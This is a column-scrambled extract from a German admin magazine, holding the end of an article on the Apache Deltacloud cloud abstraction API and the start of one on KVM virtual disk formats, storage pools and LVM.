Projekt von Red Hat, wurden die bis dahin 

fertiggestellte Schnittstelle mit allem 

dazugehörigen Code im Frühjahr 2010 

zur weiteren Bearbeitung an den Incubator 

der Apache Software Foundation [7] 

übergeben. Das Projekt wird dort unter 

der Bezeichnung Apache Deltacloud [8] 

fortgeführt. Damit ist die Herstellerunabhängigkeit 

gesichert. Ebenso wie andere 

Apache-Projekte wird auch Deltacloud 

von einer Vielzahl von Beteiligten aus 

unterschiedlichen Unternehmen und Organisation 

weiterentwickelt, die sich den 

Prinzipien offener Softwarelizenzen und 

einer benutzergesteuerten Innovation 

verpflichtet haben. 

Eine REST-basierte 

Schnittstelle 

Die Deltacloud-API ist als servicebasierte 

REST-Schnittstelle (Representational 

State Transfer) über HTTP implementiert, 

die einen Deltacloud-Server mit Daten 

versorgt. Um die Benutzung der REST- 

Schnittstelle zu vereinfachen, stellt das 

Deltacloud-Projekt sowohl ein CLI-Tool 

(Command Line Tool, Listing 1) als auch 

Client-Bibliotheken in Ruby, Java, C und 

Python zur Verfügung. 

Listing 1 zeigt, wie das CLI-Tool »deltacloudc« 

benutzt werden kann, um eine 

neue virtuelle Maschine anzulegen. In 

Zeile 1 wird die Environment-Variable 

»API_URL« so gesetzt, dass sie auf einen 

lokalen Deltacloud-Server zeigt. Die 

URL enthält auch Benutzernamen und 

Passwort für die Backend-Cloud – sie 

Abbildung 1: Apache Deltacloud stellt eine auf REST basierende API zur Kommunikation zwischen Clients und 

dem Deltacloud-Server (Deltacloud Core) zur Verfügung. 

lassen sich alternativ aber auch mit den 

Umgebungsvariablen »API_USER« und 

»API_PASSWORD« setzen. 

In Zeile 2 werden alle vorhandenen Images 

aufgelistet, deren Details in den Zeilen 

3 bis 5 zu sehen sind. Ebenso werden 

die vorhandenen Hardwareprofile in Zeile 

6 angefordert und in den Zeilen 7 bis 9 

angezeigt. Zeile 10 schließlich legt eine 

neue virtuelle Maschine an, die auf dem 

Image »img1« beruht und deren virtuelle 

Hardware gemäß dem Hardwareprofil 

»m1‐small« gewählt wird. Diese Operationen 

sehen für andere Backend-Clouds 

genau so aus, außer dass Benutzername 

und Passwort anzupassen sind. 

Cloud Abstraction APIs 

Neben Deltacloud gibt es weitere Open- 

Source-Projekte, die Cloud Abstraction 

APIs entwickeln. Zu nennen sind hier 

Jclouds [9], Libcloud [10], Boto [11] und 

Fog [12]. All diese Bibliotheken sind jedoch 

jeweils an eine bestimmte Programmiersprache 

gebunden: jclouds an Java, 

libcloud und boto an Python und fog an 

Ruby. Es handelt sich immer um sprachspezifische 

Libraries. Deltacloud ist dagegen 

völlig sprachunabhängig und die 

einzige Cloud Abstraction API, die sich 

als Webservice nutzen lässt. Der Vorteil: 

Durch den Einsatz vorhandener und weit 

Listing 1: CLI-Beispielsitzung 

verbreiteter Standards wie HTTP und 

XML entsteht eine offene Architektur, die 

unabhängig von den verwendeten Plattformen 

und Programmiersprachen ist. 

Die Realisierung der Deltacloud-API 

als Webservice statt als Bibliothek ermöglicht 

es, den Deltacloud-Server in 

einer von zwei Grundkonfigurationen 

zu betreiben: entweder nahe am Benutzer, 

etwa auf einem lokalen Rechner im 

LAN, oder nahe an der nativen API des 

Cloudanbieters, was besonders für private 

Clouds von Interesse ist. Anbieter 

von Cloud Services können Deltacloud 

natürlich auch direkt als ihr einziges Interface 

bereitstellen. 

Architektur 

01 > export API_URL=http://mockuser:mockpassword@localhost:3001/api 

02 > deltacloudc images 

03 img2 | Fedora 10 | i386 | Fedora 10 | fedoraproject 

04 img1 | Fedora 10 | x86_64 | Fedora 10 | fedoraproject 

05 img3 | JBoss | i386 | JBoss | mockuser 

06 > deltacloudc hardware_profiles 

07 m1‐small | i386 | 1740.8 | 160.0 

08 m1‐large | x86_64 | 10240.0 | 850.0 

09 ... 

Der Deltacloud-Server selbst ist in Ruby 

programmiert, genauer gesagt, mit dem 

Ruby-Framework Sinatra. Intern besteht 

der Server-Code aus zwei großen Bereichen: 

Der erste generische Teil widmet 

sich den für einen Web-Service typischen 

Aufgaben, wie dem Entgegennehmen 

und Deserialisieren von HTTP-Requests 

und dem Formatieren der Responses. 

Den zweiten Teil bilden die Treiber für 

verschiedene Clouds: Amazon EC2, vCloud, 

Azure und so weiter. Beide Teile 

sind über eine einfache interne Schnittstelle 

miteinander verbunden. So lassen 

10 > deltacloudc instances create ‐‐image‐id=img1 ‐‐hardware‐profile=m1‐small 

11 inst49 | ... | Fedora 10 | RUNNING | ... 


Admin 


115


Deltacloud 

sich Treiber für neue Cloud-APIs ohne 

allzu tief gehendes Wissen über den 

eigentlichen Server programmieren. Ersten 

Erfahrungen zufolge braucht man 

für die Implementation eines neuen Treibers 

nur wenige Tage. 

Ein vereinfachter Ablauf sieht dann so 

aus: Ein Client schickt einen Request via 

REST-Interface an den Server. Anschließend 

leitet der Treiber im Deltacloud- 

Server die Anfrage an die angesprochene 

dedizierte Cloud weiter. Der Server ist 

stateless, es werden keine Zustands- oder 

Sitzungsinformationen gespeichert. Stattdessen 

sendet der Client die für die jeweils 

gewählte Cloud benötigten Zugangsinformationen 

im Header für Basic-HTTP- 

Authentication mit jedem Request mit. 

Im Moment erfährt der Deltacloud-Server 

beim Start, welche Cloud mit welcher API 

er unter welcher URL ansprechen soll. In 

der nächsten Version soll es möglich sein, 

beides über zusätzliche HTTP Request 

Header auszuwählen. Dann sind beliebig 

viele Clouds mit demselben Deltacloud- 

Server nutzbar. 

API-Prinzipien 

Die Definition von Abstraction APIs birgt 

immer die Gefahr, dass die abstrakte API 

nur den kleinsten gemeinsamen Nenner 

der zugrunde liegenden APIs bereitstellt. 

Deltacloud vermeidet dieses Problem, indem 

es eine Basisschnittstelle definiert, 

Listing 2: Cloud-Beschreibung 

01 

die alle Treiber unterstützen. Einfache 

Mechanismen erkennen dann, ob und 

welche spezifischen Erweiterungen gegebenenfalls 

nutzbar sind. Das Ziel dieser 

Mechanismen ist, dass Clients niemals 

wissen müssen, mit welcher Cloud sie 

via Deltacloud verbunden sind, sondern 

alle Fragen über cloudspezifische Unterschiede 

mittels detaillierter Hinweise in 

den Antworten des Deltacloud-Servers 

entdecken können. 

Die API verfügt über genau einen Single 

Entrypoint, was als Best Practice in der 

REST-Welt gilt. Das XML-Dokument, das 

unter der URL des Entrypoints zu erreichen 

ist, enthält vielfältige Informationen 

über alle Ressourcen, die über den Deltacloud-Server 

verfügbar sind (Listing 

2). Diese umfassen Images, Instances, 

Realms, Hardwareprofile und so weiter. 

Listing 2 zeigt das XML des API Entrypoints, 

von dem aus alle anderen Ressourcen 

des APIs erreicht werden können. 

Das »api«-Tag in Zeile 1 zeigt, dass 

dieses XML vom EC2-Driver generiert 

wurde und der Server die API-Version 

0.2.0 unterstützt. 

Resource Collections 

Für jede Collection wird angegeben, unter 

welcher URL eine Liste aller Ressourcen 

in dieser Collection zu finden ist. Zum 

Beispiel gibt Zeile 8 die URL an, unter 

der eine Liste aller virtuellen Maschinen 

02 

03 

04 

05 

06 

07 

08 

09 

10 

11 

12 

13 

14 

15 

16 

17 

18 

19 

20 

21 

zu finden ist. Des Weiteren geben die 

»feature«-Tags in den »link«-Elementen 

an, welche optionalen Features des API 

unterstützt werden. Im Beispiel sind das 

»user_data«, »authentization_key«, »security_group«, 

und »register_to_load_balancer«. 

Jedes dieser Features deckt eine 

Besonderheit des EC2 API ab: So legt 

»user_data« fest, dass beim Anlegen einer 

Instanz benutzergenerierte Daten mit 

angegeben werden können. Das Vorhandensein 

dieses Features impliziert also 

auch, dass die Operation zum Anlegen 

einer Instanz einen zusätzlichen Parameter, 

»user_data«, akzeptiert. 

Neben URLs zum Auflisten jeder dieser 

Resource Collections enthält das XML- 

Dokument auch Hinweise über treiberspezifische 

Erweiterungen. Clients erhalten 

zum Beispiel einen Hinweis, ob und 

mit welchem Mechanismus die jeweils 

verwendete Cloud es erlaubt, benutzerdefinierte 

Daten in neue VM-Instanzen 

bei deren Start zu injizieren. Diese Operation 

ist zum Personalisieren neuer Instanzen 

enorm wichtig. Sie wird aber 

leider nicht von allen Cloud-Providern 

unterstützt, und von denen, die sie unterstützen, 

in völlig unterschiedlicher Weise 

angeboten. 

Die verschiedenen Zustände, die eine 

virtuelle Maschine während ihres Lifecycle 

durchläuft, unterscheiden sich 

von Cloud zu Cloud stark. Differenzen 

bestehen nicht nur in der Benennung 

von logisch äquivalenten Zuständen und 

Operationen, sondern auch in der Anzahl 

und Abfolge der Zustände. Deltacloud 

stellt Clients daher ein vereinheitlichtess 

Modell des cloudspezifischen Lifecycle 

in der Form eines endlichen Automaten 

zur Verfügung (Abbildung 2). In diesem 

werden nicht nur Namensunterschiede 

nivelliert, sondern ein Client kann auch 

erkennen, welche Operationen durchzuführen 

sind, um zum Beispiel eine 

momentan laufende virtuelle Maschine 

anzuhalten und zu löschen. 

Alles was erlaubt ist 

Auch wenn der generelle Lifecycle einer 

Cloud bekannt ist, ist es im Allgemeinen 

schwierig festzustellen, welche Operationen, 

wie Pause, Stop, und so weiter 

auf einer virtuellen Maschine ausgeführt 

werden dürfen. Dazu müssen viele, zum 


Deltacloud 


create 

Pending 

auto 

Running 

Application 

Builder 

Self- 

Service 

Tools 

Reporting 

Start 

start 

Stopped 

stop 

Repository 

Scheduling 

Authentication 

Cloud Engine 

Deltacloud API 

Services 

Policy 

destroy 

Finish 

RHEV-based 

Virtualization 

Platforms 

Other 

Virtualization 

Platforms 

Public Cloud 

Providers 

Quelle: Red Hat 

Abbildung 2: Sehr nützlich sind Funktionen, um den genauen Status einer Instanz 

nachvollziehen zu können. 

Abbildung 3: Mit Hilfe der Deltacloud-API lassen sich private Clouds 

implementieren und betreiben, die mit öffentlichen Clouds kommunizieren. 

Teil cloudinterne, Attribute berücksichtigt 

werden, beispielsweise Permissions. Deltacloud 

erleichtert Clients hier das Leben, 

indem es bei jeder virtuellen Maschine 

mit angibt, welche Operationen auf ihr 

jeweils ausgeführt werden dürfen, ob 

zum Beispiel der momentane Benutzer 

berechtigt ist, eine virtuelle Maschine 

anzuhalten. 

Innerhalb einer Cloud bezeichnet eine 

Realm einen abgegrenzten Bereich, der 

über bestimmte Ressourcen verfügt. Jeder 

Cloud Provider definiert diesen Bereich 

individuell. In einigen Fällen repräsentiert 

ein Realm unterschiedliche 

Rechenzentren, Regionen oder auch nur 

Ressource-Pools innerhalb eines einzelnen 

Rechenzentrums. Ein Cloud Provider 

kann beispielsweise darauf bestehen, 

dass sich alle Ressourcen, die zusammenarbeiten 

sollen, innerhalb einer Realm 

befinden. Das leuchtet etwa für Storagesysteme 

unmittelbar ein, die eine physische 

Verbindung zu Speichergeräten 

brauchen. 

Konstruktionsvorgaben 

Ein weiteres Gebiet, auf dem sich einzelne 

Clouds stark unterscheiden, ist die 

Größe der virtuellen Maschinen, die zur 

Verfügung stehen. Die Angebote unterscheiden 

sich nicht nur im Hinblick auf 

die Anzahl virtueller CPUs, die Größe des 

Hauptspeichers und des lokalen Plattenspeichers, 

sondern auch darin, ob der Benutzer 

nur virtuelle Maschinen aus einer 

Liste fester Größen anlegen kann, oder 

ob es möglich ist, manche der Parameter 

zu ändern. Zum Beispiel mag ein Anbieter 

nur virtuelle Maschinen mit 1 GByte 

RAM anbieten, während ein anderer es 

erlaubt, beim Anlegen der VM die Größe 

des Hauptspeichers zwischen 1 GByte 

und 8 GByte in Schritten von 512 MByte 

zu variieren. 

Die Deltacloud-API bildet diese Vielzahl 

von Möglichkeiten durch ein Modell, 

nämlich die Hardwareprofile, so ab, dass 

Clients den vollen Umfang aller möglichen 

VM-Parameter erhalten, die Benutzer 

beeinflussen können. Dabei brauchen 

Clients nicht zu wissen, wie genau eine 

spezifische Cloud die Größe einer neuen 

virtuellen Maschine festlegt, sondern sie 

müssen nur das Deltacloud-Modell verstehen. 

Ausblick 

Apache Deltacloud wird kontinuierlich 

von einer aktiven Community weiterentwickelt. 

Ein Schwerpunkt dieser Arbeit 

ist die Unterstützung von cloudorientierten 

Speichersystemen wie S3 und Cloud- 

Files. Einen weiteren Schwerpunkt bildet 

die Erstellung von zusätzlichen Treibern, 

insbesondere für vCloud, Red Hat Enterprise 

Virtualization Manager (RHEV-M) 

und Google Storage. Diese Erweiterungen 

werden so gestaltet, dass sie vollständig 

rückwärtskompatibel sind, damit auch 

alte Clients problemlos mit neueren Servern 

kommunizieren können. Diese API- 

Stabilität beinhaltet nicht nur die Parameter 

der HTTP Requests und das XML-Format 

der Responses, sondern auch Dinge 

wie die Fehlercodes und ‐meldungen, die 

die API benutzt. 

Deltacloud wird gegenwärtig von mehreren 

Projekten verwendet, unter anderem 

von Red Hats Cloud Engine, von 

Steamcannon und Eclipse. Cloud Engine 

ist damit befasst, einen Cloudbroker, natürlich 

als Open Source, zu implementieren. 

Dabei wird sowohl die Sicht auf die 

virtuelle Cloud jedes Benutzers als auch 

die Kommunikation mit den zugrundeliegenden 

Clouds über die Deltacloud- 

API abgewickelt. Steamcannon erstellt 

die Werkzeuge, die nötig sind, um eine 

eigene Platform-as-a-Service-Cloud für 

Java- und Ruby-Anwendungen zu betreiben. 

Innerhalb des Eclipse-Projekts schließlich 

werden Plugins entwickelt, die das 

Verwalten von virtuellen Maschinen in 

Clouds aus Eclipse heraus erleichtern, so 

dass Entwickler auch komplexe Anwendungsszenarien 

und ‐architekturen einfach 

mit ein paar Mausklicks realisieren 

können. (jcb) 

n 

Infos 

[1] Amazon EC2: 

[http:// aws. amazon. com/ de/ ec2/] 

[2] Amazon S3: 

[http:// aws. amazon. com/ de/ s3/] 

[3] Jiffybox: [https:// www. jiffybox. de] 

[4] Gogrid: [http:// www. gogrid. com] 

[5] Rackspace: 

[http:// www. rackspace. com/ index. php] 

[6] Terremark: 

[http:// www. terremark. com/ default. aspx] 

[7] Apache Incubator: 

[http:// incubator. apache. org] 

[8] Deltacloud: 

[http:// incubator. apache. org/ deltacloud/] 

[9] Jclouds: [http:// www. jclouds. org] 

[10] Libcloud: 

[http:// incubator. apache. org/ libcloud/] 

[11] Boto: [http:// code. google. com/ p/ boto/] 

[12] Fog: [https:// github. com/ geemus/ fog] 

Der Autor 

David Lutterkort ist Principal Software Engineer 

bei Red Hat und der Maintainer des Apache-Deltacloud-Projekts. 


Admin 


117


KVM-Storage 

Optimale Disk-Konfiguration für Linux-KVM 

Abgerundet 

In KVM gibt es viele Wege, um virtuelle Datenträger im Hostsystem 

abzubilden. Die Wahl des passenden Datenträgerformats hat nicht 

nur einen Einfluss auf die Geschwindigkeit von I/O-Operationen, 

sondern auch auf Snapshots und Backups. Michael Kofler 

© Viktoriia Lesnichenko, 123RF 

Die meisten Virtualisierungssysteme präsentieren 

dem Gast seine virtuellen Festplatten 

als gewöhnliche IDE-, SCSI- oder 

SATA-Festplatten. Damit sieht es für den 

Gast so aus, als hätte er es mit einer ganz 

normalen Festplatte zu tun. Tatsächlich 

muss aber das Virtualisierungssystem für 

jeden Datenzugriff den IDE-, SCSI- oder 

SATA-Bus emulieren. In der virtuellen 

Maschine kümmert sich ein entsprechender 

Treiber um die Datenzugriffe. 

Virtuelle 

Festplattenadapter 

KVM [1] beziehungsweise die zugrundeliegenden 

Qemu-Komponenten emulieren 

standardmäßig einen IDE-Bus. Das 

klingt altmodisch, hat aber den Vorteil, 

dass nahezu jedes Gastsystem damit zurechtkommt 

– egal, ob in der virtuellen 

Maschine Linux, Windows, BSD oder ein 

anderes Betriebssystem läuft. 

Wenn in der virtuellen Maschine Linux 

ausgeführt wird, wie dies im KVM-Server-Alltag 

häufig der Fall ist, gibt es aber 

einen wesentlich effizienteren Weg, um 

auf Datenträger zuzugreifen: den Virtio- 

Block-Treiber. Dabei handelt es sich um 

einen schon seit Version 2.6.25 in den 

Linux-Kernel integrierten Treiber, der speziell 

für Virtualisierungssysteme (KVM, 

Xen und so weiter) entwickelt wurde. Mit 

dem Virtio-Treiber erspart sich KVM die 

Emulation eines Festplattenbussystems 

(zum Beispiel IDE); gleichzeitig vereinfacht 

sich der Datenträgerzugriff auch 

im Gast. 

Beachten Sie aber, dass KVM den Virtio- 

Treiber nur verwendet, wenn bekannt 

ist, dass der Gast Virtio-kompatibel ist. 

Deswegen ist es beim Einrichten der virtuellen 

Maschine im Virtual Machine Manager 

entscheidend, dass Sie im zweiten 

Schritt des Installationsassistenten das 

Betriebssystem des Gasts korrekt angeben. 

Der Virtio-Treiber wird auch als paravirtualisierter 

Treiber bezeichnet. Paravirtualisierung 

bedeutet, dass der Gast bei 

der Virtualisierung mithilft. Der Kernel 

aktueller Linux-Gäste erkennt automatisch, 

dass das Virtualisierungssystem 

Virtio nutzt. Es sind daher im Gast keine 

besonderen Konfigurationsarbeiten erforderlich. 

Die einzige Eigenheit besteht 

darin, dass die Device-Namen der virtuellen 

Festplatten »/dev/vda«, »/dev/vdb« 

und so weiter lauten (anstelle der sonst 

üblichen Device-Namen »/dev/sda«, »/ 

dev/sdb«). 

Der Einsatz des Virtio-Treibers ist erfreulicherweise 

auch für Windows-Gäste 

möglich. Dort ist die Vorgehensweise 

aber ein wenig komplizierter: Bei der anfänglichen 

Installation verwendet KVM 

den IDE-Treiber. Sobald Windows in der 

virtuellen Maschine läuft, installieren 

Sie in Windows die Virtio-Treiber. Dazu 

binden Sie in der virtuellen Maschine 

eine ISO-Datei mit den Treibern als CD- 

Laufwerk ein. Ein ISO-Image mit von Red 

Hat signierten Windows-Treibern finden 

Sie unter [2]. 

Nach der Installation der Treiber fahren 

Sie Windows herunter und verändern 

dann im Virtual Machine Manager das 

Bussystem des Datenträgers von IDE auf 

Virtio (Abbildung 1). Ab dem nächsten 

Neustart nutzt dann auch Windows den 

Virtio-Treiber. 

Image-Formate 

Wenn Sie im Virtual Machine Manager 

einen neuen Gast einrichten, wird dessen 

Festplatte standardmäßig in einer RAW- 

Image-Datei im Verzeichnis »/var/lib/ 

libvirt/images« gespeichert (Abbildung 

2). Das RAW-Format ist gleichzeitig das 

einfachste und effizienteste Image-Format. 

Der Inhalt der virtuellen Festplatte 

wird einfach unverändert in der Image- 

Datei abgebildet. Für erste Experimente 

ist diese Grundeinstellung vollkommen 

ausreichend. Etwas Hintergrundwissen 

über die zur Auswahl stehenden Optionen 

hilft aber dabei, die Parameter für die 

gewünschte Anwendung zu optimieren. 

RAW-Dateien bestehen anfänglich aus 

lauter 0-Bytes. Alle gängigen Linux-Dateisysteme 

erkennen das und betrachten 


KVM-Storage 


Im Virtual Machine Manager stehen in 

den Datenträgerdialogen auch die von 

VMWare beziehungsweise Virtualbox 

bekannten Formate VMDK und VDI zur 

Auswahl. Diese Formate werden von 

KVM aber nicht direkt unterstützt. (Dass 

die Formate dennoch im Virtual Machine 

Manager auftauchen, hat damit zu tun, 

dass der Virtual Machine Manager auch 

zur Steuerung anderer Virtualisierungsdie 

Datei als ’sparse file’. Deswegen ist 

der tatsächliche Platzbedarf im Dateisystem 

des Host-Rechners vorerst sehr 

gering. Erst wenn Daten in der virtuellen 

Festplatte gespeichert werden, belegt die 

Image-Datei im Dateisystem des Host- 

Rechners zunehmend immer mehr Platz, 

bis schließlich die beim Einrichten vorgesehene 

Maximalgröße erreicht wird. 

Nicht portabel 

Beachten Sie aber, dass nicht alle Dateisysteme 

beziehungsweise Backup-Werkzeuge 

sparse-kompatibel sind. Wenn Sie 

RAW-Dateien in Netzwerkverzeichnissen 

speichern oder über eine Netzwerkverbindung 

sichern, muss die RAW-Datei in 

der Regel in ihrer vollen Größe übertragen 

werden (also unabhängig vom Ausmaß 

der tatsächlichen Ausnutzung). 

Die populärste Alternative zum Raw- 

Format ist das QCOW2-Format (Qemu 

Copy on Write, Version 2). Gegenüber 

dem RAW-Format bietet QCOW2 einige 

Zusatzfunktionen: So können Image- 

Dateien verschlüsselt oder komprimiert 

werden. QCOW2-Dateien wachsen erst 

bei Bedarf und das unabhängig von den 

Sparse-Funktionen des Dateisystems. 

Der größte Vorteil von QCOW2-Images 

besteht aber darin, dass im laufenden 

Betrieb sogenannte Snapshots erstellt 

werden können. Das hilft vor allem bei 

der Durchführung von Backups. 

Das QCOW2-Format hatte in der Vergangenheit 

einen schlechten Ruf: Zum einen 

gab es im Zusammenspiel mit den 

Libvirt-Werkzeugen Kompatibilitätspro- 

bleme, zum anderen waren QCOW2- 

Images wesentlich langsamer als RAW- 

Images. Mittlerweile sind diese Probleme 

behoben. Ein gewisser Geschwindigkeitsnachteil 

besteht noch immer, dieser beträgt 

aber nach meinen Messungen lediglich 

fünf bis zehn Prozent im Vergleich 

zum RAW-Format. Für viele Anwendungen, 

die nicht stark I/O-lastig sind, ist 

der Geschwindigkeitsunterschied kaum 

messbar. 

Qemu/KVM unterstützt seit Mitte 2011 

mit Qemu Enhanced Disk (QED, [3]) ein 

drittes Image-Format. Es bietet eine etwas 

höhere Geschwindigkeit als QCOW2, 

enthält dafür aber weniger Funktionen 

(unter anderem keine Snapshots). Möglicherweise 

wird QED langfristig QCOW2 

ablösen. Gegen den Einsatz des QED-Formats 

spricht in erster Linie der Umstand, 

dass das Format noch unzureichend 

getestet ist. Mit neuen Image-Formaten 

verhält es sich ähnlich wie mit neuen 

Dateisystemen: Wer seine Daten liebt, 

wartet mit dem Einsatz lieber ein, zwei 

Jahre ab. 

Formatwandlung 

systeme geeignet ist.) Wenn Sie eine virtuelle 

Maschine mit einem VMDK- oder 

VDI-Datenträger unter KVM ausführen 

möchten, müssen Sie die Image-Datei 

zuerst in ein KVM-kompatibles Image- 

Format umwandeln. In einfachen Fällen 

hilft das Kommando »qemu‐img 

convert« bei der Konvertierung. 

Leider ist »qemu‐img« mit mehrteiligen 

Image-Dateien überfordert. Abhilfe 

schafft dann nur der »vmware‐vdiskmanager«. 

Dieses Kommando wird mit diversen 

VMware-Produkten mitgeliefert, 

unter anderem mit dem unter Linux frei 

verfügbaren VMware Server. 

Speicherpools 

Die Libvirt-Werkzeuge, zu denen auch 

der Virtual Machine Manager zählt, verwenden 

zur Verwaltung von Datenträgern 

sogenannte Storage Pools. Im einfachsten 

Fall ist ein Speicherpool einfach ein Verzeichnis 

auf der lokalen Festplatte. Als 

Speicherpools kommen aber auch Virtual 

Groups (LVM), ganze Festplatten, iSCSI- 

Geräte sowie Netzwerkverzeichnisse infrage. 

Jeder Datenträger in einem Storage 

Pool wird in der Libvirt-Nomenklatur als 

’Volume’ bezeichnet. 

Standardmäßig ist nach der Installation 

der Libvirt-Werkzeuge bereits ein Speicherpool 

mit dem Namen »default« eingerichtet. 

Dabei handelt es sich um das Verzeichnis 

»/var/lib/libvirt/images«. Wenn 

Sie Image-Dateien in einem anderen Verzeichnis 

speichern möchten, wählen Sie 

im Virtual Machine Manager »Bearbeiten 

| Verbindungsdetails« aus und aktivieren 

Abbildung 1: Virtio-Treiber unter Windows. 

Abbildung 2: Defaulteinstellungen eines Datenträgers im Virtual Machine 

Manager. 


Admin 


119


KVM-Storage 

Abbildung 3: Einen neuen Speicherpool im Virtual Machine Manager einrichten. 

das Dialogblatt »Speicher« (Abbildung 

3). Mit dem Plus-Button können Sie nun 

weitere Speicherpools anlegen. 

In der Folge können Sie beim Einrichten 

neuer virtueller Maschinen angeben, in 

welchem Speicherpool der neue Datenträger 

gespeichert werden soll (Option 

»Verwalteten oder anderen Speicher 

wählen«). Je nachdem, um welche Art 

von Speicherpool es sich handelt, legt 

der Virtual Machine Manager den neuen 

Kommando 

pool-define 

Tabelle 1: Virsh-Kommandos 

pool-define-as 

pool-start 

pool-auto-start 

pool-destroy 

pool-delete 

pool-list 

pool-info 

vol-create 

vol-create-as 

vol-delete 

vol-list 

vol-inf 

snapshot-create 

snapshot-create-as 

snapshot-revert 

snapshot-delete 

snapshot-list 

Datenträger als 

Image-Datei, als 

Logical Volume 

und so weiter an. 

LVM 

Funktion 

Erzeugt einen neuen Speicherpool, dessen Eigenschaften in einer XML-Datei 

beschrieben sind. 

Erzeugt einen Speicherpool, dessen Eigenschaften in Parametern 

angegeben werden. 

Startet (aktiviert) einen Speicherpool. 

Bewirkt, dass der Speicherpool in Zukunft automatisch gestartet wird. 

Deaktiviert einen Speicherpool. Der Pool kann später wieder mit pool-start 

aktiviert werden. 

Löscht einen Pool, sofern dieser keine Volumes enthält. 

Listet alle bekannten Speicherpools auf. 

Liefert detaillierte Informationen über einen Speicherpool. 

Erzeugt einen neuen virtuellen Datenträger, dessen Eigenschaften in einer 

XML-Datei beschrieben sind. 

Erzeugt einen neuen Datenträgern, dessen Eigenschaften in Parametern 

angegeben werden. 

Löscht einen Datenträger. 

Liefert eine Liste aller Datenträger in einem Speicherpool. 

Liefert detaillierte Informationen über einen Datenträger. 

Erzeugt einen Snapshot einer QCOW2-Imagedatei, wobei die Snapshot- 

Parameter in einer XML-Datei beschrieben sind. 

Erzeugt einen Snapshot einer QCOW2-Imagedatei, wobei der Snapshot- 

Name als Parameter angegeben wird. 

Aktiviert einen zuvor erstellten Snapshot einer QCOW2-Imagedatei. 

Löscht einen Snapshot einer QCOW2-Imagedatei. 

Listet alle Snapshots einer QCOW2-Imagedatei auf. 

Sofern Sie auf dem 

Hostsystem LVM 

einsetzen, können 

Sie anstelle 

einer Image-Datei 

auch ein Logical 

Volume (LV) als 

virtuellen Datenträger 

verwenden. 

Der Hauptvorteil 

besteht darin, 

dass der Zugriff 

auf LVs ein wenig effizienter ist als bei 

Image-Dateien. Erwarten Sie aber keine 

Wunder: Bei meinen Benchmarktests 

betrugen die Geschwindigkeitsgewinne 

im Vergleich zu einem RAW-Image nur 

wenige Prozent. 

Ein Speicherpool für Logical Volumes ist 

ganz einfach eine Volume Group (VG), 

die Sie zuerst mit dem Kommando »vgcreate« 

einrichten. Anschließend führen 

Sie im Virtual Machine Manager »Bearbeiten 

| Verbindungsdetails« aus und klicken 

im Dialogblatt »Speicher« auf den 

Plus-Button. 

Im Assistenten »Einen neuen Speicherpool 

hinzufügen« wählen Sie im ersten 

Schritt den Typ »LVM Volume Group« 

aus. Im zweiten Schritt stehen im Eingabefeld 

»Zielpfad« die Device-Dateien 

der auf dem Hostrechner verfügbaren 

Volume Groups zur Auswahl. Das Feld 

»Quellpfad« bleibt leer. Die Option »Pool 

erzeugen« muss nicht aktiviert werden 

(die Volume Group existiert ja schon). 

In der Liste der Speicherpools erscheint 

nun die gerade ausgewählte Volume 

Group. Bereits existierende Logical Volumes 

werden aufgelistet und können 

als Datenträger für virtuelle Maschinen 

benutzt werden. Mit »Neuer Datenträger« 

können Sie zudem direkt im Virtual Machine 

Manager neue LVs einrichten, ohne 

dafür auf das LVM-Kommando »lvcreate« 

zurückzugreifen. Achten Sie darauf, dass 

Sie im Virtual Machine Manager nur solche 

LVs für virtuelle Maschinen nutzen, 

die nicht auch im KVM-Host genutzt werden. 

Der parallele Zugriff auf ein Logical 

Volume durch eine virtuelle Maschine 

und den KVM-Host führt zu defekten 

Daten! 

Es ist nicht weiter schwierig, eine RAW- 

Image-Datei in ein Logical Volume zu 

übertragen. (Image-Dateien in anderen 

Formaten müssen aber vorher in das 

RAW-Format umgewandelt werden.) 

Dazu ermitteln Sie mit »ls ‐l« die exakte 

Größe der Datei und erzeugen dann mit 

»lvcreate« ein LV in genau dieser Größe. 

Dabei müssen Sie das Suffix »b« verwenden, 

damit »lvcreate« die Größenangabe 

in Bytes interpretiert. Anschließend übertragen 

Sie den Inhalt der Image-Datei 

mit »dd« oder »cat« direkt in das Device 

des LV. 

ls ‐l disk.raw 

... 10485760000 ... disk.raw 

lvcreate ‐L 10485760000b ‐n kvmdisk vg1 

cat disk.raw > /dev/vg1/kvmdisk 

Festplattenpartitionen 

Partitionen einer Festplatte können wie 

Logical Volumes als Datenträger für 

virtuelle Maschinen eingesetzt werden. 

Dazu definieren Sie mit den Libvirt- 

Werkzeugen eine Festplatte als Spei- 


KVM-Storage 


cherpool (Typ »Physical Disk Device« im 

Virtual Machine Manager) und können 

anschließend eine Partitionen als Datenträger 

an eine virtuelle Maschine weitergeben. 

Dabei müssen Sie natürlich darauf 

achten, dass Sie nie eine Partition von 

mehreren Gästen beziehungsweise vom 

Host-System und einem Gast zugleich 

ansprechen! 

Wirklich empfehlenswert ist diese Vorgehensweise 

aber nicht: Im Vergleich zu 

Logical Volumes ergibt sich daraus keine 

Effizienzsteigerung. Der Grund: Auch 

beim scheinbar direkten Zugriff auf Festplattenpartitionen 

führt jede I/O-Operation 

über KVM. Begraben Sie also die 

Hoffnung, in einer virtuellen Maschine 

dieselbe I/O-Performance zu erzielen wie 

auf dem KVM-Host. 

Gleichzeitig geht bei der Administration 

die Flexibilität von LVM verloren. Außerdem 

besteht die Gefahr, dass im Gast 

angelegte Partitionen und LVM-Systeme 

die Partitions- und LVM-Verwaltung auf 

dem Hostsystem durcheinanderbringen. 

Kurzum: Im Regelfall sind Sie gut beraten, 

Logical Volumes als virtuelle Datenträger 

zu verwenden, nicht aber Festplattenpartitionen. 

Besser keine echten 

Partitionen 

Wenn Sie noch einen Schritt weiter gehen 

möchten und eine ganze Festplatte oder 

SSD exklusiv einer virtuellen Maschine 

zuweisen möchten, stoßen Sie an die 

Grenzen von KVM. Das KVM-Kommando 

(nicht aber die Libvirt-Werkzeuge) bietet 

diese Möglichkeit zwar prinzipiell, 

die KVM/Qemu-Dokumentation empfiehlt 

aber dringend, den Zugriff ausschließlich 

read-only durchzuführen. 

Der praktische Nutzen ist damit gering. 

Das zugrunde liegende Problem besteht 

darin, dass der direkte Zugriff auf eine 

Festplatte sowohl durch das Host-System 

als auch durch die virtuelle Maschine 

Konflikte verursacht. Linux bietet keine 

Möglichkeit, den Zugriff auf eine Festplatte 

oder SSD auf einen bestimmten 

Prozess zu beschränken. 

Anstelle des Virtual Machine Managers 

können Sie die Datenträger auch in der 

Virtual Shell administrieren. Die »virsh« 

bietet dazu diverse »pool«- und »vol«- 

Kommandos. Listing 1 gibt dafür einige 

